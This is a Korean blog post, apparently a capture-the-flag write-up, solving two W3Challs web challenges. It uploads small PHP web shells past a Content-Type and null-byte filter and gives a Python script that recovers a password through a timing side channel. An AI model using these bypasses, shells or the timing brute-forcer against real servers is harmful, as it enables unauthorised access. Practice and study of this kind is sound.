2021.01.09


오늘은 웹 문제를 풀어보기로 했다. 이 문제에 PHP 태그가 있는 것으로 보아 PHP 취약점을 이용해야 할 듯 하다. 우선 주어진 링크를 클릭해 문제 웹페이지로 접근한다.

[그림 1] MyGallery


페이지 자체는 매우 단순하게 생겼다. 여기서 주목해야 할 부분은 Upload 부분인데, 여기서 파일을 업로드할 수 있다. 해당 기능을 통해 php 웹셀을 업로드하면 플래그를 얻을 수 있을 것으로 보인다.

[그림 1]에서 깨알같은 글씨로 업로드 관련 설명을 하고 있는데, 요약하자면 업로드된 파일은 /suggestions/ 디렉토리에 업로드되며 jpg(jpeg) 파일만 업로드할 수 있다고 한다. 즉, php 파일을 곧바로 업로드할 수는 없으며 jpeg 파일로 위장하여 업로드하는 방식으로 우회해야 한다.

우선 php 파일부터 만들어보자. 아래 코드를 사용해 suggestions 디렉토리의 요소들을 확인할 수 있다.

<?php
	system("ls -al");
?>

해당 코드를 .php 확장자로 저장하고, jpeg로 위장해서 업로드하면 될 것이다. 다만 우회를 하려면 어떻게 필터링을 하는지 알아야하는데, 이 문제에서는 관련 소스코드를 제공하지 않아 정확한 방식은 알 수 없다. 아마 추측을 하자면 단순히 파일 확장자로 구분하거나 Content-Type으로 구분할 가능성이 높다. 따라서, 우선 그 두 방식을 우회하는 것부터 시작해보기로 했다.

[그림 2] Before


[그림 3] After


원활한 확장자 변조를 위해 Burp Suite를 사용하였다. (Open Browser를 사용하면 매우 편리하다) 파일을 업로드할 때의 패킷을 Intercept하면 맨 아랫 부분에 [그림 2]와 같은 부분을 확인할 수 있다. 해당 부분을 [그림 3]과 같이 바꾸고 Intercept를 풀면 필터링을 우회할 수 있을 것이다.

  • %00(NULL)은 문자열의 마지막을 의미하므로, 그 이후의 문자열은 버려짐
  • jpeg 파일을 업로드할 때 Content-Type은 image/jpeg가 되므로 jpeg가 아닌 파일을 업로드하더라도 Content-Type을 변조하면 우회할 수 있음

[그림 4] File Uploaded


파일이 성공적으로 업로드되었음을 볼 수 있다. 그렇다면 이제 파일이 업로드된 주소를 입력하여 php가 제대로 동작하는지 확인해보자. 앞서 말했다시피 업로드 된 파일은 /suggestions 디렉토리에 존재한다.

[그림 5] ls -al


보다시피 php 코드가 정상적으로 동작하여 ls -al이 실행되었음을 볼 수 있다. 다만 suggestions 디렉토리에 아무 것도 없어서 의미 있는 실행결과가 나오지는 않았다. 이제 플래그가 어디 있는지 찾아야하는데, 일일이 디렉토리들을 뒤지기보다는 find 명령어를 사용하여 찾기로 했다. 그래서 나는 아래와 같이 php 코드를 작성한 뒤 업로드를 하였다.

<?php
	system("find / -name 'flag'");
?>

이번에 파일을 올리면서 확장자는 건드리지 않고, Content-Type만 image/jpeg로 수정하여 올려보았는데 업로드에 성공하였다. 결과적으로 이 웹에서는 Content-Type으로만 파일을 필터링하고 있던 것이었다.

아무튼, 파일을 다시 업로드한 뒤 확인하면 아래 [그림 6]과 같은 결과를 얻을 수 있다.

[그림 6] find


이제 flag의 위치를 확인했으니 마지막으로 아래와 같이 php를 수정한 뒤 업로드하면 플래그를 얻을 수 있다.

<?php
	system("cat /home/gallery/www/omg_secret_wut/flag");
?>

[그림 7] Flag


플래그를 W3Challs에 가서 입력하면, 10점을 얻을 수 있다.

[그림 8] 풀이 완료!


2. W3Challs - Temporal attack (Web, 12pts)


[그림 1] Administration


문제 웹페이지로 이동하면, 위 [그림 1]과 같은 화면을 볼 수 있다. 입력창이 있고, 그 밑에 php_portal로 가는 링크가 존재한다. 특정 입력값을 넣으면 플래그를 출력하는 형태일 듯 하다.

[그림 2] PHP Portal


php 포탈로 이동하면 위 [그림 2]와 같은 화면을 볼 수 있다. 보다시피 administration.php 파일에 접근할 수 있게 되어있으며, 해당 파일을 클릭하면 소스코드를 볼 수 있다. administration.php의 소스코드를 중 일부는 아래와 같다.

<?php

 function authentication($your_password)
 {
   // TODO : change the password below choosing a more complex one (! dictionnary word)
   // but it *must* contain only lowercase alphabetical characters
   $password = "unetulipe";

   if(!is_string($your_password) || strlen($your_password) != strlen($password))
     return(0);

   $your_password = strtolower($your_password);

   for($i = 0; $i < strlen($password); $i++)
   {
     if($password[$i] != $your_password[$i])
       return(0);

     usleep(150000);
   }

   return(1);
 }

 $time1 = microtime(true);
 if(isset($_POST["your_password"]) && authentication($_POST["your_password"]))
   echo "<br />Congratulations, the flag to solve this challenge is the same than the one you used to log in";
 
 else
 {

?>

코드를 살펴보면, 입력값($your_password)과 $password 변수가 서로 일치하는지 확인하여 일치하면 해당 입력값이 플래그라고 알려주는 것을 알 수 있다. 그런데 잘 보면 $password의 값이 “unetulipe”로 하드코딩 되어 있는 것을 볼 수 있는데, 실제로 해당 값을 입력하더라도 당연히(?) 정답이라고 나오지 않는다. 그 위에 달려있는 주석을 볼 때 아마 패스워드는 이미 다른 문자열로 변경된 상태인 듯 하다.

그렇다면 여기서 주목해야 할 부분은 패스워드를 검증하는 반복문인데, 입력값에서 한 글자씩 가져와 패스워드와 비교하고 맞으면 usleep(150000)을 실행한다. usleep()은 마이크로초를 인자로 받으므로, usleep(150000)은 150000마이크로초, 즉 150밀리초(ms) 동안 sleep하는 것을 의미한다. 즉 입력값의 첫번째 글자가 실제 패스워드의 첫번째 글자와 일치하면 150ms동안 sleep할 것이고, 두번째까지 맞으면 300ms동안 sleep하는 식으로 동작할 것이다.

이 부분을 이용하면 브루트포싱을 통해 실제 패스워드가 무엇인지 알아낼 수 있을 것으로 보인다. 그렇다면 이제 브루트포싱을 위한 코드를 작성해야 한다. 나는 아래와 같이 작성하였다.

import requests
import datetime
import string

flag = ''
init_time = datetime.timedelta(microseconds=500000)

url = "http://temporal.hax.w3challs.com/administration.php"

for i in range(9):
    count_time = datetime.timedelta(microseconds=150000 * (i + 1))
    for a in string.ascii_lowercase:
        password = flag
        
        for j in range(len(password), 9):
            password += a
            
        data = {'your_password': password}
        response = requests.post(url, data = data)
        res_time = response.elapsed - init_time

        if res_time >= count_time:
            flag += a
            break

print("[*] Result : %s" % (flag))

글자수는 그대로 9글자일 것으로 가정하고 코드를 짰는데 다행히 9자인게 맞아서 좀 더 수월하게 진행할 수 있었다. 우선 첫 글자부터 틀린 입력값을 보냈을 때의 응답시간을 확인했는데, 대략 500ms 정도가 소요되었다. 그래서 응답 시간에서 500ms를 뺀 후, 그 시간이 검사하는 문자열의 index 번호 * 150ms보다 많은지 확인하는 식으로 코드를 짜보았다. 이렇게 하면 정답이 아닌 글자는 그보다 더 빠르게 응답할 것이므로 자연스럽게 정답인 글자들만 확인할 수 있다. 아무튼 이 코드를 실행하면 기다리는 시간은 생각보다 길지만 그래도 아래 [그림 3]과 같이 플래그를 얻을 수 있었다.

[그림 3] Result


그리고 해당 값을 입력하면 정답임을 알리는 메시지를 볼 수 있다.

[그림 4] Congratulations!


위의 메시지로도 알 수 있듯 입력값이 곧 플래그이기 때문에 바로 W3Challs에 가서 입력하면 12점을 얻을 수 있다.

[그림 5] 풀이 완료!


재미있는 부채널 공격 문제였다!